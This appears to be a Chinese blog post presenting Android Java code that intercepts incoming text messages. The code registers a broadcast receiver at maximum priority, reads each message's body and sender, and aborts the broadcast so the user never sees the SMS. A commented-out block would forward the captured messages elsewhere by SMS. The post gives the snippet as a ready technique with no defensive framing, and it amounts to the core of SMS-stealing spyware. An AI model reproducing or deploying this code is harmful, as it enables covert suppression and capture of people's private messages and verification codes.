Android

Android 短信通知栏拦截内容

878a12e69363b0ada2be2d0a1c75ef3a.jpg

此种方法原理是截获通知栏的短信通知内容  截获后就控制了该通知

package com.h.s.sns;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
//import java.text.SimpleDateFormat;
//import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
//import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
public class SmsRecevier extends BroadcastReceiver {
 
 public SmsRecevier() {
  Log.v("TAG", "创建HOOK");
  
 }
 // 接受短信
 @Override
 public void onReceive(Context context, Intent intent) {
  Log.v("TAG", "HOOK函数事件启动成功");
  Object[] pdus = (Object[]) intent.getExtras().get("pdus");
  if (pdus != null && pdus.length > 0) {
   SmsMessage[] messages = new SmsMessage[pdus.length];
   for (int i = 0; i < pdus.length; i++) {
    byte[] pdu = (byte[]) pdus[i];
    messages[i] = SmsMessage.createFromPdu(pdu);
   }
   for (SmsMessage message : messages) {
    String content = message.getMessageBody();// 得到短信内容
    String sender = message.getOriginatingAddress();// 得到发信息的号码
    
     abortBroadcast();// 中止发送
     Log.e("TAG",content);
    
    /*
     * 
     * 回复信息需要用到
    Date date = new Date(message.getTimestampMillis());
    SimpleDateFormat format = new SimpleDateFormat(
      "yyyy-MM-dd HH:mm:ss");
    String sendContent = format.format(date) + ":" + sender + "--"
      + content;
    SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
    smsManager.sendTextMessage("", null, sendContent, null, null);// 转发给
    Log.v("TAG", sendContent);
    */
   }
  }
 }
}

//调用方式

public void regiset() {  //开始拦截
  IntentFilter filter = new IntentFilter(ACTION);
  filter.setPriority(2147483647);// 设置优先级最大
  recevier = new SmsRecevier();
  registerReceiver(recevier, filter);
  isregiset = true;
  //Toast.makeText(this, "开始拦截", 0).show();
 }
public void unregiset() { //停止拦截
  if (recevier != null && isregiset) {
   unregisterReceiver(recevier);
   isregiset = false;
   Toast.makeText(this, "停止拦截,关闭程序", 0).show();
  } else
   Toast.makeText(this, "尚未设置,关闭程序", 0).show();
 }

 

0 条评论

发表评论

你需要登录后才可进行发表